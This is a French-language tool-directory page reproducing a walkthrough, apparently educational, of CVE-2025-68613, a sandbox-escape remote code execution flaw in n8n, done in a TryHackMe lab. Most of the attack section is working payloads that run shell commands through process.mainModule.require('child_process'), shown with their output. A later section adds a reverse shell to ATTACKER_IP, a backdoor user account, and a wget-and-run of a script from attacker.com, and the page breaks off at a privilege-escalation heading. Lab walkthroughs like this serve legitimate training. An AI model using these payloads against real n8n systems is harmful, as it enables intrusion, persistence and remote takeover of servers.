Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
n8n-cve-2025-68613-thm — Procédure pas à pas éducative pour l'exploitation de CVE-2025-68613, une RCE critique dans l'automatisation de workflows n8n. Couvre l'injection d'expression, l'évasion du bac à sable, le développement de payload et les stratégies de détection via un laboratoire TryHackMe. | Kitploit
Outils/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCommandement et ContrôleApprentissage et ÉducationRéponse aux IncidentsDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Labs et Pratique
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

Procédure pas à pas éducative pour l'exploitation de CVE-2025-68613, une RCE critique dans l'automatisation de workflows n8n. Couvre l'injection d'expression, l'évasion du bac à sable, le développement de payload et les stratégies de détection via un laboratoire TryHackMe.

Voir le dépôt
111il y a 9 moisPas encore vérifié

CVE-2025-68613 – Exploitation RCE Critique de n8n

Aperçu

Ce référentiel documente une exploitation pratique de CVE-2025-68613 (CVSS 9.9), une vulnérabilité critique d'exécution de code à distance affectant la plateforme d'automatisation de workflows n8n (versions 0.211.0 à 1.120.3).

Cette exploitation a été réalisée éthiquement dans un environnement de laboratoire TryHackMe contrôlé à des fins éducatives uniquement.


Résumé de la vulnérabilité

ChampValeur
ID CVECVE-2025-68613
Score CVSS9.9 (Critique)
Publié19 décembre 2025
Produit affectéPlateforme d'automatisation de workflows n8n
Type de vulnérabilitéInjection d'expression → Évasion du sandbox → RCE
Vecteur d'attaqueUtilisateur authentifié (par défaut)
Versions corrigées1.120.4, 1.121.1, 1.122.0+
Versions affectées0.211.0 - 1.120.3

Qu'est-ce que n8n ?

n8n est une plateforme open-source d'automatisation de workflows qui permet aux utilisateurs de connecter visuellement des applications et des services pour automatiser des tâches. Elle propose :

  • Architecture de workflow basée sur des nœuds : Chaque nœud représente une action (requête API, traitement de données, email, etc.)
  • Plus de 400 intégrations natives : Connecteurs pré-construits vers diverses API et services
  • Nœuds de code : Exécution de code JavaScript ou Python personnalisé
  • Évaluation d'expressions : Expressions dynamiques encapsulées dans {{ }} évaluées comme du JavaScript

Modèles de déploiement

  • Instances auto-hébergées (sur site ou cloud privé)
  • Service géré hébergé dans le cloud (n8n.cloud)
  • Outils d'automatisation internes au sein des réseaux d'entreprise

Contexte technique

La chaîne de vulnérabilité

La vulnérabilité réside dans le système d'évaluation des expressions de workflow de n8n. Lorsque des utilisateurs authentifiés configurent des workflows, leurs entrées sont traitées comme du code JavaScript sans sandboxing adéquat.

Chaîne d'escalade de contexte

Sandbox d'expression
    ↓ (évasion via 'this')
Contexte global Node.js
    ↓ (accès à mainModule)
Système de modules (require)
    ↓ (chargement de child_process)
Exécution de commandes système

Failles clés

  1. Évaluation d'expression non sécurisée : Les expressions utilisateur encapsulées dans {{ }} sont évaluées comme du JavaScript brut sans isolation de contexte appropriée
  2. Évasion du sandbox : L'accès à l'objet this permet de s'échapper des restrictions du sandbox
  3. Accès non restreint aux modules : process.mainModule.require() donne accès au système de modules Node.js
  4. Chargement dangereux de modules : Peut charger le module child_process pour exécuter des commandes système
  5. Aucune protection d'authentification significative : Tout utilisateur authentifié peut exploiter la vulnérabilité

Détail de la charge utile d'exploitation

(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

Explication :

  • this → Objet global Node.js
  • this.process → Objet processus Node.js
  • process.mainModule → Module racine de l'application n8n
  • .require('child_process') → Chargement du module d'exécution de commandes système
  • .execSync('COMMAND') → Exécution synchrone d'une commande shell
  • .toString() → Conversion du tampon Buffer en chaîne lisible

Procédure d'exploitation

Étape 1 : Authentification

Accédez à l'instance n8n vulnérable et connectez-vous avec des identifiants valides.

Identifiants du laboratoire :

  • Email : [email protected]
  • Mot de passe : Try12345!

Écran de connexion


Étape 2 : Accueil et création du workflow

Après la connexion, l'interface de création de workflow s'affiche. Cliquez sur "Start from scratch" pour créer un nouveau workflow.

Écran d'accueil


Étape 3 : Ajouter un déclencheur manuel

Cliquez sur "Add first step" et recherchez "Manual Trigger". Ce nœud sert de point d'entrée pour l'exécution du workflow.

Configuration du déclencheur manuel

Objectif : Le nœud Manual Trigger permet une exécution manuelle du workflow via le bouton "Execute workflow" dans l'interface, ce qui est idéal pour les tests.


Étape 4 : Configurer le workflow et ajouter un mappage de champ

Ajoutez un nœud "Edit Fields" pour effectuer le mappage de champ. C'est ici que la vulnérabilité est exploitée.

Configuration du workflow

Étapes de configuration :

  1. Cliquez sur "Add field" pour ajouter un nouveau mappage de champ
  2. Placez le mode sur "Expression"
  3. Cela permet l'évaluation de code JavaScript

Étape 5 : Exécution de la commande id

Injectez la charge utile pour exécuter la commande id et obtenir les informations utilisateur/privileges.

Charge utile :

(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

Résultat :

uid=1000(node) gid=1000(node) groups=1000(node)

Exécution de la commande ID

Informations obtenues :

  • Exécution en tant qu'utilisateur non root (uid=1000)
  • Appartenance au groupe (gid=1000)
  • Chemins potentiels d'élévation de privilèges

Étape 6 : Énumération du système de fichiers avec ls

Modifiez la charge utile pour exécuter la commande ls et lister le contenu du répertoire.

Charge utile :

(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Exécution de la commande LS

Sortie affichée :

  • Fichier flag présent : flag.txt
  • Structure du répertoire et permissions
  • Informations de reconnaissance supplémentaires

Étape 7 : Extraction de données sensibles

Lisez le fichier flag avec la commande cat pour terminer l'exploitation.

Charge utile :

(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()

Flag récupéré :

THM{n8n_exposed_workflow}

Extraction du flag


Techniques d'exploitation avancées

1. Shell inverse

Établir un accès shell interactif pour un contrôle persistant :

(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString() 
})()

2. Création d'un utilisateur backdoor

Ajouter un nouvel utilisateur système pour un accès persistant :

(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString() 
})()

3. Téléchargement d'une charge utile malveillante

Récupérer et exécuter du code à distance :

(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. Énumération d'élévation de privilèges

Télécharger l’outil